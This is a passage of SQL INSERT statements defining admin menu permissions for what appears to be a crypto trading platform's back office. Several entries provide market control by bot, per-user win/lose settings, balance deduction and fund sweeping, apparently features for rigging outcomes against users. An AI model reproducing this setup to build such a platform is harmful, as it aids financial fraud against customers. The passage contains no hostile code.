+INSERT INTO `sys_menu` VALUES (2127, '获取秒合约订单详细信息', 2082, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'secondContractOrder:order:query', '#', 'admin', '2023-08-11 16:35:45', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2128, '修改秒合约订单', 2082, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'secondContractOrder:order:edit', '#', 'admin', '2023-08-11 16:36:28', 'admin', '2023-08-11 16:39:02', ''); +INSERT INTO `sys_menu` VALUES (2129, '删除', 2082, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'secondContractOrder:order:remove', '#', 'admin', '2023-08-11 16:38:49', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2130, '导出', 2096, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:export', '#', 'admin', '2023-08-11 16:40:06', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2131, '详情', 2096, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:query', '#', 'admin', '2023-08-11 16:40:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2132, '新增', 2096, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:add', '#', 'admin', '2023-08-11 16:40:54', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2133, '编辑', 2096, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:edit', '#', 'admin', '2023-08-11 16:41:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2134, '移除', 2096, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:remove', '#', 'admin', '2023-08-11 16:41:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2135, '导出', 2042, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:detail:export', '#', 'admin', '2023-08-11 16:43:00', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2136, '详情', 2042, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:detail:query', '#', 'admin', '2023-08-11 16:43:17', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2137, '编辑', 2042, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:detail:edit', '#', 'admin', '2023-08-11 16:43:39', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2138, '导出', 2041, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:log:export', '#', 'admin', '2023-08-11 16:44:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2139, '详情', 2041, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:log:query', '#', 'admin', '2023-08-11 16:45:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2140, '编辑', 2041, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:log:edit', '#', 'admin', '2023-08-11 16:45:24', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2141, '删除', 2041, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:log:remove', '#', 'admin', '2023-08-11 16:45:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2142, '详情', 2083, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ucontract:query', '#', 'admin', '2023-08-11 16:47:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2143, '新增', 2083, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ucontract:add', '#', 'admin', '2023-08-11 16:47:36', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2144, '编辑', 2083, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ucontract:edit', '#', 'admin', '2023-08-11 16:48:15', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2145, '删除', 2083, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ucontract:remove', '#', 'admin', '2023-08-11 16:48:35', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2146, '详情', 2067, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:contractOrder:query', '#', 'admin', '2023-08-11 16:49:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2147, '新增', 2067, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:contractOrder:edit', '#', 'admin', '2023-08-11 16:49:41', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2148, '修改', 2067, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:contractOrder:edit', '#', 'admin', '2023-08-11 16:49:57', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2149, '删除', 2067, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:contractOrder:remove', '#', 'admin', '2023-08-11 16:50:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2150, '详情', 2069, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:position:query', '#', 'admin', '2023-08-11 16:50:44', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2151, '编辑', 2069, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:position:edit', '#', 'admin', '2023-08-11 16:50:58', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2152, '删除', 2069, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:position:remove', '#', 'admin', '2023-08-11 16:51:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2153, '详情', 2084, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency:symbol:query', '#', 'admin', '2023-08-11 16:52:18', 'admin', '2023-08-22 14:44:12', ''); +INSERT INTO `sys_menu` VALUES (2154, '新增', 2084, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency:symbol:add', '#', 'admin', '2023-08-11 16:52:33', 'admin', '2023-08-22 14:44:19', ''); +INSERT INTO `sys_menu` VALUES (2155, '修改', 2084, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency:symbol:edit', '#', 'admin', '2023-08-11 16:52:52', 'admin', '2023-08-22 14:44:26', ''); +INSERT INTO `sys_menu` VALUES (2156, '删除', 2084, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency:symbol:remove', '#', 'admin', '2023-08-11 16:53:12', 'admin', '2023-08-22 14:44:32', ''); +INSERT INTO `sys_menu` VALUES (2157, '详情', 2075, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency/order:query', '#', 'admin', '2023-08-11 16:54:39', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2158, '编辑', 2075, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency/order:edit', '#', 'admin', '2023-08-11 16:54:59', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2159, '删除', 2075, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency/order:remove', '#', 'admin', '2023-08-11 16:55:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2160, '详情', 2090, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:symbolmanage:query', '#', 'admin', '2023-08-11 17:05:02', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2161, '新增', 2090, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:symbolmanage:add', '#', 'admin', '2023-08-11 17:05:19', 'admin', '2023-08-22 14:47:01', ''); +INSERT INTO `sys_menu` VALUES (2162, '修改', 2090, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:symbolmanage:edit', '#', 'admin', '2023-08-11 17:05:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2163, '删除', 2090, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:symbolmanage:remove', '#', 'admin', '2023-08-11 17:05:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2164, '详情', 2085, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:financial:query', '#', 'admin', '2023-08-11 17:08:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2165, '新增', 2085, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:financial:add', '#', 'admin', '2023-08-11 17:08:33', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2166, '修改', 2085, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:financial:edit', '#', 'admin', '2023-08-11 17:08:48', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2167, '删除', 2085, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:financial:remove', '#', 'admin', '2023-08-11 17:09:12', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2168, '详情', 2086, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:query', '#', 'admin', '2023-08-11 17:10:00', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2169, '新增', 2086, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:add', '#', 'admin', '2023-08-11 17:10:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2170, '修改', 2086, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:edit', '#', 'admin', '2023-08-11 17:10:33', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2171, '移除', 2086, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:remove', '#', 'admin', '2023-08-11 17:10:48', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2172, '新增', 2049, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:product:add', '#', 'admin', '2023-08-11 17:12:01', 'admin', '2023-08-22 14:51:19', ''); +INSERT INTO `sys_menu` VALUES (2173, '详情', 2049, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:product:query', '#', 'admin', '2023-08-11 17:12:16', 'admin', '2023-08-22 14:51:26', ''); +INSERT INTO `sys_menu` VALUES (2174, '编辑', 2049, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:product:edit', '#', 'admin', '2023-08-11 17:12:32', 'admin', '2023-08-22 14:51:33', ''); +INSERT INTO `sys_menu` VALUES (2175, '删除', 2049, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:product:remove', '#', 'admin', '2023-08-11 17:12:49', 'admin', '2023-08-22 14:52:11', ''); +INSERT INTO `sys_menu` VALUES (2176, '列表', 2050, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:order:list', '#', 'admin', '2023-08-11 17:14:41', 'admin', '2023-08-22 14:55:16', ''); +INSERT INTO `sys_menu` VALUES (2177, '详情', 2050, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:order:query', '#', 'admin', '2023-08-11 17:14:58', 'admin', '2023-08-22 14:55:10', ''); +INSERT INTO `sys_menu` VALUES (2178, '修改', 2050, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:order:edit', '#', 'admin', '2023-08-11 17:15:14', 'admin', '2023-08-22 14:54:53', ''); +INSERT INTO `sys_menu` VALUES (2179, '删除', 2050, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:order:remove', '#', 'admin', '2023-08-11 17:15:28', 'admin', '2023-08-22 14:55:00', ''); +INSERT INTO `sys_menu` VALUES (2180, '审核通过', 2050, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:loadOrder:passTLoadOrder', '#', 'admin', '2023-08-11 17:15:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2181, '审核拒绝', 2050, 5, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:loadOrder:refuseTLoadOrder', '#', 'admin', '2023-08-11 17:16:06', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2182, '新增', 2105, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:mail:add', '#', 'admin', '2023-08-11 17:18:15', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2183, '删除', 2105, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:mail:remove', '#', 'admin', '2023-08-11 17:18:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2184, '详情', 2113, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:query', '#', 'admin', '2023-08-11 17:19:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2185, '新增', 2113, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:add', '#', 'admin', '2023-08-11 17:19:58', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2186, '编辑', 2113, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:edit', '#', 'admin', '2023-08-11 17:20:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2187, '删除', 2113, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:remove', '#', 'admin', '2023-08-11 17:20:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2188, '枚举', 2113, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:NoticeTypeList', '#', 'admin', '2023-08-11 17:20:56', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2189, '查询前台文本配置菜单列表', 2110, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:labelList', '#', 'admin', '2023-08-11 17:22:01', 'admin', '2023-08-11 17:22:38', ''); +INSERT INTO `sys_menu` VALUES (2190, '详情', 2110, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:query', '#', 'admin', '2023-08-11 17:23:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2191, '新增', 2110, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:add', '#', 'admin', '2023-08-11 17:23:59', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2192, '修改', 2110, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:edit', '#', 'admin', '2023-08-11 17:24:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2193, '删除', 2110, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:remove', '#', 'admin', '2023-08-11 17:24:29', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2194, '详情', 2109, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:setter:query', '#', 'admin', '2023-08-11 17:25:23', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2195, '新增', 2109, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:setter:add', '#', 'admin', '2023-08-11 17:25:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2196, '编辑', 2109, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:setter:edit', '#', 'admin', '2023-08-11 17:25:56', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2197, '删除', 2109, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:setter:remove', '#', 'admin', '2023-08-11 17:26:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2198, '玩家用户数据', 2093, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userStatistics:agencyAppUserList', '#', 'admin', '2023-08-11 18:39:48', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2199, '玩家用户', 2092, 4, 'subordinate', 'data/subordinate/index', NULL, 1, 0, 'C', '1', '0', 'data:subordinate:list', '#', 'admin', '2023-08-14 11:34:53', 'admin', '2023-08-22 15:15:14', ''); +INSERT INTO `sys_menu` VALUES (2200, '帮助中心', 2103, 4, 'system/help/index', 'system/help/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:helpcenter:list', 'cascader', 'admin', '2023-08-17 16:48:17', 'admin666', '2023-08-21 15:15:36', ''); +INSERT INTO `sys_menu` VALUES (2201, '充值通道配置', 2070, 3, 'rechargeChannel', 'deposit/rechargeChannel/index', NULL, 1, 0, 'C', '0', '0', NULL, '#', 'admin', '2023-08-21 11:13:27', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2202, '提现通道配置', 2070, 4, 'withdrawalChannel', 'deposit/withdrawalChannel/index', NULL, 1, 0, 'C', '0', '0', NULL, '#', 'admin', '2023-08-21 11:14:09', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2229, 'DEFI订单列表', 2247, 0, 'defi/order', 'defi/order/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:orderdefi:list', '#', 'admin', '2023-08-19 01:55:14', 'admin', '2023-08-22 20:13:53', 'defi订单菜单'); +INSERT INTO `sys_menu` VALUES (2230, 'defi订单查询', 2229, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:query', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2231, 'defi订单新增', 2229, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:add', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2232, 'defi订单修改', 2229, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:edit', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2233, 'defi订单删除', 2229, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:remove', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2234, 'defi订单导出', 2229, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:export', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2235, '空投活动', 2247, 1, 'defi/activity', 'defi/activity/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:activitydefi:list', '#', 'admin', '2023-08-19 01:55:18', 'admin', '2023-08-22 20:15:01', '空投活动菜单'); +INSERT INTO `sys_menu` VALUES (2236, '空投活动查询', 2235, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:query', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2237, '空投活动新增', 2235, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:add', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2238, '空投活动修改', 2235, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:edit', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2239, '空投活动删除', 2235, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:remove', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2240, '空投活动导出', 2235, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:export', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2241, '挖矿利率配置', 2247, 1, 'defi/rate', 'defi/rate/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:ratedefi:list', '#', 'admin', '2023-08-19 01:55:21', 'admin', '2023-08-19 02:05:32', 'defi挖矿利率配置菜单'); +INSERT INTO `sys_menu` VALUES (2242, 'defi挖矿利率配置查询', 2241, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:query', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2243, 'defi挖矿利率配置新增', 2241, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:add', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2244, 'defi挖矿利率配置修改', 2241, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:edit', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2245, 'defi挖矿利率配置删除', 2241, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:remove', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2246, 'defi挖矿利率配置导出', 2241, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:export', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2247, 'DEFI挖矿', 0, 6, 'bussiness/defi', NULL, NULL, 1, 0, 'M', '0', '0', '', 'button', 'admin', '2023-08-19 01:57:42', 'admin', '2023-08-21 21:57:03', ''); +INSERT INTO `sys_menu` VALUES (2248, '止盈止损列表', 2066, 4, 'orderList', 'uContract/orderList/index', NULL, 1, 0, 'C', '1', '0', 'bussiness:position:query', '#', 'admin', '2023-08-21 18:55:40', 'ceshi', '2023-08-29 14:21:29', ''); +INSERT INTO `sys_menu` VALUES (2249, 'AI控盘', 0, 7, '/', NULL, NULL, 1, 0, 'M', '0', '0', '', 'people', 'admin', '2023-08-21 21:59:43', 'admin', '2023-08-22 20:16:54', ''); +INSERT INTO `sys_menu` VALUES (2250, '质押挖矿', 0, 6, 'pledge', NULL, NULL, 1, 0, 'M', '0', '0', '', 'chart', 'admin', '2023-08-22 10:08:52', 'admin', '2023-08-22 15:02:19', ''); +INSERT INTO `sys_menu` VALUES (2251, '订单列表', 2250, 2, 'order', 'pledge/order/index', NULL, 1, 0, 'C', '0', '0', NULL, '#', 'admin', '2023-08-22 10:09:36', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2252, '挖矿产品', 2250, 1, 'ming', 'pledge/ming/index', NULL, 1, 0, 'C', '0', '0', '', '#', 'admin', '2023-08-22 10:10:30', 'admin', '2023-08-22 10:27:37', ''); +INSERT INTO `sys_menu` VALUES (2253, '玩家数据', 2092, 4, 'playUser', 'data/playUser/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:userStatistics:list', '#', 'admin', '2023-08-22 15:19:14', 'ceshi', '2023-08-28 20:03:51', ''); +INSERT INTO `sys_menu` VALUES (2254, '查询', 2252, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:list', '#', 'admin', '2023-08-22 15:23:53', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2255, '导出', 2252, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:export', '#', 'admin', '2023-08-22 15:24:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2256, '新增', 2252, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:add', '#', 'admin', '2023-08-22 15:24:36', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2257, '编辑', 2252, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:edit', '#', 'admin', '2023-08-22 15:24:51', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2258, '删除', 2252, 5, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:remove', '#', 'admin', '2023-08-22 15:25:07', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2259, '查询', 2251, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:list', '#', 'admin', '2023-08-22 15:25:27', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2260, '控盘机器人', 2249, 0, '/bot/trade-robot', 'bussiness/trade-robot/index', '', 1, 0, 'C', '0', '0', 'bussiness/trade-robot', '#', 'admin', '2023-08-22 16:20:00', 'admin', '2023-08-22 16:28:26', ''); +INSERT INTO `sys_menu` VALUES (2261, '控盘记录', 2249, 1, '/bot/trade-list', 'bussiness/trade-robot/list', '', 1, 0, 'C', '0', '0', 'bussiness/trade-robot', '#', 'admin', '2023-08-22 16:20:45', 'admin', '2023-08-22 17:12:46', ''); +INSERT INTO `sys_menu` VALUES (2262, '新增', 2200, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:helpcenter:add', '#', 'admin', '2023-08-22 19:42:16', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2263, '修改', 2200, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:helpcenter:edit', '#', 'admin', '2023-08-22 19:42:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2264, '删除', 2200, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:helpcenter:remove', '#', 'admin', '2023-08-22 19:42:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2265, '详情', 2200, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:helpCenterInfo:list', '#', 'admin', '2023-08-22 19:43:11', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2266, '详情', 2040, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userBank:query', '#', 'admin', '2023-08-22 19:58:07', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2267, '修改', 2040, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userBank:edit', '#', 'admin', '2023-08-22 19:58:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2268, '删除', 2040, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userBank:remove', '#', 'admin', '2023-08-22 19:58:58', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2269, '后台用户', 0, 9, 'manageuser', NULL, NULL, 1, 0, 'M', '0', '0', '', 'peoples', 'admin', '2023-08-22 21:17:22', 'admin', '2023-08-22 21:18:35', ''); +INSERT INTO `sys_menu` VALUES (2270, '输赢', 2033, 6, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:buff', '#', 'admin', '2023-08-28 20:08:11', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2271, '彩金', 2033, 7, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:sendBous', '#', 'admin', '2023-08-28 20:08:38', 'admin', '2023-08-28 20:12:58', ''); +INSERT INTO `sys_menu` VALUES (2272, '下分', 2033, 8, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:subAmount', '#', 'admin', '2023-08-28 20:09:12', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2273, '修改密码', 2033, 9, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:updatePwd', '#', 'admin', '2023-08-28 20:09:59', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2274, '下级用户', 2094, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userStatistics:agencyAppUserList', '#', 'ceshi', '2023-08-29 10:59:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2275, '刷新', 2021, 6, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:info:refresh', '#', 'admin', '2023-08-29 11:05:25', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2276, '归集', 2021, 7, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:info:collection', '#', 'admin', '2023-08-29 11:06:36', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2277, '通过-拒绝', 2042, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:realName', '#', 'admin', '2023-08-29 13:22:17', 'admin', '2023-08-29 13:24:02', ''); +INSERT INTO `sys_menu` VALUES (2278, '交易所币种列表', 2077, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:klineSymbol:list', '#', 'admin', '2023-08-29 13:54:51', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2279, '交易所币种列表', 2083, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:klineSymbol:list', '#', 'admin', '2023-08-29 13:56:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2280, '交易所币种列表', 2084, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:klineSymbol:list', '#', 'admin', '2023-08-29 13:56:41', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2281, '交易所币种列表', 2090, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:klineSymbol:list', '#', 'admin', '2023-08-29 13:57:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2282, '周期配置', 2077, 5, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:list', '#', 'admin', '2023-08-29 14:02:51', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2283, '删除', 2077, 6, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:remove', '#', 'admin', '2023-08-29 14:07:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2284, '删除', 2251, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:remove', '#', 'admin', '2023-08-29 14:28:16', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2285, '修改上级代理', 2033, 10, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:user:selectAllAgentUser', '#', 'admin', '2023-08-29 19:03:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2286, '修改代理保存', 2033, 11, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:updateUserAppIds', '#', 'admin', '2023-08-29 19:03:59', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2287, 'nft详情', 2287, 1, 'nftProduct', 'bussiness/nftProduct/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:nftProduct:list', '#', 'admin', '2023-11-03 04:25:20', '', NULL, 'nft详情菜单'); +INSERT INTO `sys_menu` VALUES 